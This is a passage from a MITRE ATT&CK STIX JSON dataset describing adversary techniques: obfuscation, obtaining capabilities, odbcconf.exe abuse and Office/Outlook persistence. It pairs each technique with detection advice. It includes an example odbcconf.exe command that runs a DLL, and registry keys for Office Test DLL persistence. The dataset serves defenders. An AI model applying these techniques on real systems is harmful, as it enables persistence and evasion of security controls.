2017) ",
            "name": "Obfuscated Files or Information",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2021-04-24T13:19:18.594Z",
            "created": "2017-05-31T21:30:32.662Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_version": "1.1",
            "x_mitre_contributors": [
                "Red Canary",
                "Christiaan Beek, @ChristiaanBeek"
            ],
            "x_mitre_data_sources": [
                "File: File Content",
                "File: File Metadata",
                "File: File Creation",
                "Process: Process Creation",
                "Command: Command Execution",
                "Command: Command Execution"
            ],
            "x_mitre_defense_bypassed": [
                "Host forensic analysis",
                "Signature-based detection",
                "Host intrusion prevention systems",
                "Application control",
                "Log analysis",
                "Application control by file name or path"
            ],
            "x_mitre_detection": "Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system). \n\nFlag and analyze commands containing indicators of obfuscation and known suspicious syntax such as uninterpreted escape characters like '''^''' and '''\"'''. Windows' Sysmon and Event ID 4688 displays command-line arguments for processes. Deobfuscation tools can be used to detect these indicators in files/payloads. (Citation: GitHub Revoke-Obfuscation) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: GitHub Office-Crackros Aug 2016) \n\nObfuscation used in payloads for Initial Access can be detected at the network. Use network intrusion detection systems and email gateway filtering to identify compressed and encrypted attachments and scripts. Some email attachment detonation systems can open compressed and encrypted attachments. Payloads delivered over an encrypted connection from a website require encrypted network traffic inspection. \n\nThe first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network. ",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1588",
                    "url": "https://attack.mitre.org/techniques/T1588"
                },
                {
                    "source_name": "NationsBuying",
                    "description": "Nicole Perlroth and David E. Sanger. (2013, July 12). Nations Buying as Hackers Sell Flaws in Computer Code. Retrieved March 9, 2017.",
                    "url": "https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html"
                },
                {
                    "url": "https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/",
                    "description": "Bill Marczak and John Scott-Railton. (2016, August 24). The Million Dollar Dissident: NSO Group\u2019s iPhone Zero-Days used against a UAE Human Rights Defender. Retrieved December 12, 2016.",
                    "source_name": "PegasusCitizenLab"
                },
                {
                    "description": "Fisher, D. (2012, October 31). Final Report on DigiNotar Hack Shows Total Compromise of CA Servers. Retrieved March 6, 2017.",
                    "source_name": "DiginotarCompromise",
                    "url": "https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Obtain Capabilities",
            "description": "Adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle.\n\nIn addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab)\n\nIn addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise)",
            "id": "attack-pattern--ce0687a0-e692-4b77-964a-0784a8e54ff1",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "modified": "2021-04-15T03:15:21.193Z",
            "created": "2020-10-01T01:56:24.776Z",
            "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "id": "attack-pattern--6e3bd510-6b33-41a4-af80-2d80f3ee0071",
            "description": "Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) Odbcconf.exe is digitally signed by Microsoft.\n\nAdversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010), odbcconf.exe has a <code>REGSVR</code> flag that can be misused to execute DLLs (ex: <code>odbcconf.exe /S /A &lbrace;REGSVR \"C:\\Users\\Public\\file.dll\"&rbrace;</code>). (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017) \n",
            "name": "Odbcconf",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1218.008",
                    "url": "https://attack.mitre.org/techniques/T1218/008"
                },
                {
                    "source_name": "Microsoft odbcconf.exe",
                    "url": "https://docs.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-2017",
                    "description": "Microsoft. (2017, January 18). ODBCCONF.EXE. Retrieved March 7, 2019."
                },
                {
                    "source_name": "LOLBAS Odbcconf",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/",
                    "description": "LOLBAS. (n.d.). Odbcconf.exe. Retrieved March 7, 2019."
                },
                {
                    "source_name": "TrendMicro Squiblydoo Aug 2017",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses/",
                    "description": "Bermejo, L., Giagone, R., Wu, R., and Yarochkin, F. (2017, August 7). Backdoor-carrying Emails Set Sights on Russian-speaking Businesses. Retrieved March 7, 2019."
                },
                {
                    "source_name": "TrendMicro Cobalt Group Nov 2017",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/",
                    "description": "Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019."
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2020-06-20T22:39:00.717Z",
            "created": "2020-01-24T15:01:32.917Z",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Module: Module Load",
                "Command: Command Execution"
            ],
            "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of odbcconf.exe. Compare recent invocations of odbcconf.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of odbcconf.exe may also be useful in determining the origin and purpose of the DLL being loaded.",
            "x_mitre_defense_bypassed": [
                "Digital Certificate Validation",
                "Application control"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0"
        },
        {
            "created": "2017-12-14T16:46:06.044Z",
            "modified": "2020-06-25T17:48:09.417Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "type": "attack-pattern",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1137",
                    "url": "https://attack.mitre.org/techniques/T1137"
                },
                {
                    "source_name": "SensePost Ruler GitHub",
                    "url": "https://github.com/sensepost/ruler",
                    "description": "SensePost. (2016, August 18). Ruler: A tool to abuse Exchange services. Retrieved February 4, 2019."
                },
                {
                    "source_name": "TechNet O365 Outlook Rules",
                    "url": "https://blogs.technet.microsoft.com/office365security/defending-against-rules-and-forms-injection/",
                    "description": "Koeller, B.. (2018, February 21). Defending Against Rules and Forms Injection. Retrieved November 5, 2019."
                },
                {
                    "source_name": "CrowdStrike Outlook Forms",
                    "url": "https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746",
                    "description": "Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral Movement and Persistence. Retrieved February 5, 2019."
                },
                {
                    "source_name": "Outlook Today Home Page",
                    "url": "https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943",
                    "description": "Soutcast. (2018, September 14). Outlook Today Homepage Persistence. Retrieved February 5, 2019."
                },
                {
                    "source_name": "Microsoft Detect Outlook Forms",
                    "url": "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack",
                    "description": "Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019."
                },
                {
                    "source_name": "SensePost NotRuler",
                    "url": "https://github.com/sensepost/notruler",
                    "description": "SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019."
                }
            ],
            "description": "Adversaries may leverage Microsoft Office-based applications for persistence between startups. Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins.\n\nA variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation: SensePost Ruler GitHub) These persistence mechanisms can work within Outlook or be used through Office 365.(Citation: TechNet O365 Outlook Rules)",
            "name": "Office Application Startup",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53",
            "x_mitre_is_subtechnique": false,
            "x_mitre_version": "1.2",
            "x_mitre_contributors": [
                "Nick Carr, FireEye",
                "Microsoft Threat Intelligence Center (MSTIC)",
                "Sahar Shukrun",
                "Praetorian",
                "Loic Jaquemet",
                "Ricardo Dias"
            ],
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "Windows Registry: Windows Registry Key Creation",
                "Windows Registry: Windows Registry Key Modification",
                "File: File Creation",
                "File: File Modification",
                "Module: Module Load",
                "Application Log: Application Log Content"
            ],
            "x_mitre_detection": "Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously.\n\nMany Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page)\n\nMicrosoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)",
            "x_mitre_permissions_required": [
                "User",
                "Administrator"
            ],
            "x_mitre_platforms": [
                "Windows",
                "Office 365"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1137.001",
                    "url": "https://attack.mitre.org/techniques/T1137/001"
                },
                {
                    "url": "https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea",
                    "description": "Microsoft. (n.d.). Change the Normal template (Normal.dotm). Retrieved July 3, 2017.",
                    "source_name": "Microsoft Change Normal Template"
                },
                {
                    "url": "https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office",
                    "description": "Austin, J. (2017, June 6). Getting Started with VBA in Office. Retrieved July 3, 2017.",
                    "source_name": "MSDN VBA in Office"
                },
                {
                    "url": "https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/",
                    "description": "Nelson, M. (2014, January 23). Maintaining Access with normal.dotm. Retrieved July 3, 2017.",
                    "source_name": "enigma0x3 normal.dotm"
                },
                {
                    "url": "http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/",
                    "description": "Hexacorn. (2017, April 17). Beyond good ol\u2019 Run key, Part 62. Retrieved July 3, 2017.",
                    "source_name": "Hexacorn Office Template Macros"
                },
                {
                    "source_name": "GlobalDotName Jun 2019",
                    "url": "https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique",
                    "description": "Shukrun, S. (2019, June 2). Office Templates and GlobalDotName - A Stealthy Office Persistence Technique. Retrieved August 26, 2019."
                },
                {
                    "source_name": "CrowdStrike Outlook Forms",
                    "url": "https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746",
                    "description": "Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral Movement and Persistence. Retrieved February 5, 2019."
                },
                {
                    "source_name": "Outlook Today Home Page",
                    "url": "https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943",
                    "description": "Soutcast. (2018, September 14). Outlook Today Homepage Persistence. Retrieved February 5, 2019."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Office Template Macros",
            "description": "Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)\n\nOffice Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019) \n\nWord Normal.dotm location:<br>\n<code>C:\\Users\\&lt;username&gt;\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm</code>\n\nExcel Personal.xlsb location:<br>\n<code>C:\\Users\\&lt;username&gt;\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB</code>\n\nAdversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g. Word 2016 will first look for Normal.dotm under <code>C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\</code>, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.(Citation: GlobalDotName Jun 2019) \n\nAn adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.",
            "id": "attack-pattern--79a47ad0-fc3b-4821-9f01-a026b1ddba21",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "modified": "2020-06-25T17:48:08.916Z",
            "created": "2019-11-07T20:29:17.788Z",
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0",
            "x_mitre_permissions_required": [
                "User",
                "Administrator"
            ],
            "x_mitre_detection": "Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page) Modification to base templates, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated.(Citation: GlobalDotName Jun 2019)",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "Windows Registry: Windows Registry Key Creation",
                "Windows Registry: Windows Registry Key Modification",
                "File: File Creation",
                "File: File Modification"
            ],
            "x_mitre_platforms": [
                "Windows",
                "Office 365"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1137.002",
                    "url": "https://attack.mitre.org/techniques/T1137/002"
                },
                {
                    "url": "http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/",
                    "description": "Hexacorn. (2014, April 16). Beyond good ol\u2019 Run key, Part 10. Retrieved July 3, 2017.",
                    "source_name": "Hexacorn Office Test"
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/",
                    "description": "Falcone, R. (2016, July 20). Technical Walkthrough: Office Test Persistence Method Used In Recent Sofacy Attacks. Retrieved July 3, 2017.",
                    "source_name": "Palo Alto Office Test Sofacy"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Office Test",
            "description": "Adversaries may abuse the Microsoft Office \"Office Test\" Registry key to obtain persistence on a compromised system. An Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started. This Registry key is thought to be used by Microsoft to load DLLs for testing and debugging purposes while developing Office applications. This Registry key is not created by default during an Office installation.(Citation: Hexacorn Office Test)(Citation: Palo Alto Office Test Sofacy)\n\nThere exist user and global Registry keys for the Office Test feature:\n\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Office test\\Special\\Perf</code>\n\nAdversaries may add this Registry key and specify a malicious DLL that will be executed whenever an Office application, such as Word or Excel, is started.",
            "id": "attack-pattern--ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "modified": "2020-03-20T15:27:51.559Z",
            "created": "2019-11-07T19:44:04.475Z",
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0",
            "x_mitre_system_requirements": [
                "Office 2007, 2010, 2013, and 2016"
            ],
            "x_mitre_permissions_required": [
                "Administrator",
                "User"
            ],
            "x_mitre_detection": "Monitor for the creation of the Office Test Registry key. Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence. Since v13.52, Autoruns can detect tasks set up using the Office Test Registry key.(Citation: Palo Alto Office Test Sofacy)\n\nConsider monitoring Office processes for anomalous DLL loads.",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "Windows Registry: Windows Registry Key Creation",
                "Windows Registry: Windows Registry Key Modification",
                "File: File Creation",
                "File: File Modification",
                "Module: Module Load"
            ],
            "x_mitre_platforms": [
                "Windows",
                "Office 365"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1102.003",
                    "url": "https://attack.mitre.org/techniques/T1102/003"
                },
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "One-Way Communication",
            "description": "Adversaries may use an existing, legitimate external Web service as a means for sending commands to a compromised system without receiving return output over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service. Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response.\n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.",
            "id": "attack-pattern--9c99724c-a483-4d60-ad9d-7f004e42e8e8",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "modified": "2020-03-26T23:26:10.109Z",
            "created": "2020-03-14T22:45:52.963Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows. User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Connection Creation"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1137.003",
                    "url": "https://attack.mitre.org/techniques/T1137/003"
                },
                {
                    "source_name": "SensePost Outlook Forms",
                    "url": "https://sensepost.com/blog/2017/outlook-forms-and-shells/",
                    "description": "Stalmans, E. (2017, April 28). Outlook Forms and Shells. Retrieved February 4, 2019."
                },
                {
                    "source_name": "Microsoft Detect Outlook Forms",
                    "url": "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack",
                    "description": "Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019."
                },
                {
                    "source_name": "SensePost NotRuler",
                    "url": "https://github.com/sensepost/notruler",
                    "description": "SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Outlook Forms",
            "description": "Adversaries may abuse Microsoft Outlook forms to obtain persistence on a compromised system. Outlook forms are used as templates for presentation and functionality in Outlook messages. Custom Outlook forms can be created that will execute code when a specifically crafted email is sent by an adversary utilizing the same custom Outlook form.(Citation: SensePost Outlook Forms)\n\nOnce malicious forms have been added to the user\u2019s mailbox, they will be loaded when Outlook is started. Malicious forms will execute when an adversary sends a specifically crafted email to the user.(Citation: SensePost Outlook Forms)",
            "id": "attack-pattern--a9e2cea0-c805-4bf8-9e31-f5f0513a3634",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "modified": "2020-03-26T17:35:15.823Z",
            "created": "2019-11-07T20:06:02.624Z",
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0",
            "x_mitre_permissions_required": [
                "Administrator",
                "User"
            ],
            "x_mitre_detection": "Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\n\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "Application Log: Application Log Content"
            ],
            "x_mitre_platforms": [
                "Windows",
                "Office 365"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1137.004",
                    "url": "https://attack.mitre.org/techniques/T1137/004"
                },
                {
                    "source_name": "SensePost Outlook Home Page",
                    "url": "https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/",
                    "description": "Stalmans, E. (2017, October 11). Outlook Home Page \u2013 Another Ruler Vector. Retrieved February 4, 2019."
                },
                {
                    "source_name": "Microsoft Detect Outlook Forms",
                    "url": "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack",
                    "description": "Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019."
                },
                {
                    "source_name": "SensePost NotRuler",
                    "url": "https://github.com/sensepost/notruler",
                    "description": "SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Outlook Home Page",
            "description": "Adversaries may abuse Microsoft Outlook's Home Page feature to obtain persistence on a compromised system. Outlook Home Page is a legacy feature used to customize the presentation of Outlook folders. This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened. A malicious HTML page can be crafted that will execute code when loaded by Outlook Home Page.(Citation: SensePost Outlook Home Page)\n\nOnce malicious home pages have been added to the user\u2019s mailbox, they will be loaded when Outlook is started. Malicious Home Pages will execute when the right Outlook folder is loaded/reloaded.(Citation: SensePost Outlook Home Page)\n",
            "id": "attack-pattern--bf147104-abf9-4221-95d1-e81585859441",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "modified": "2020-03-26T17:35:51.656Z",
            "created": "2019-11-07T20:09:56.536Z",
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0",
            "x_mitre_permissions_required": [
                "Administrator",
                "User"
            ],
            "x_mitre_detection": "Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\n\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "Application Log: Application Log Content"
            ],
            "x_mitre_platforms": [
                "Windows",
                "Office 365"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1137.005",
                    "url": "https://attack.mitre.org/techniques/T1137/005"
                },
                {
                    "source_name": "SilentBreak Outlook Rules",
                    "url": "https://silentbreaksecurity.com/malicious-outlook-rules/",
                    "description": "Landers, N. (2015, December 4). Malicious Outlook Rules. Retrieved February 4, 2019."
                },
                {
                    "source_name": "Microsoft Detect Outlook Forms",
                    "url": "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack",
                    "description": "Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019."
                },
                {
                    "source_name": "SensePost NotRuler",
                    "url": "https://github.com/sensepost/notruler",
                    "description": "SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Outlook Rules",
            "description": "Adversaries may abuse Microsoft Outlook rules to obtain persistence on a compromised system. Outlook rules allow a user to define automated behavior to manage email messages. A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender. Malicious Outlook rules can be created that can trigger code execution when an adversary sends a specifically crafted email to that user.(Citation: SilentBreak Outlook Rules)\n\nOnce malicious rules have been added to the user\u2019s mailbox, they will be loaded when Outlook is started. Malicious rules will execute when an adversary sends a specifically crafted email to the user.(Citation: SilentBreak Outlook Rules)",
            "id": "attack-pattern--3d1b9d7e-3921-4d25-845a-7d9f15c0da44",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
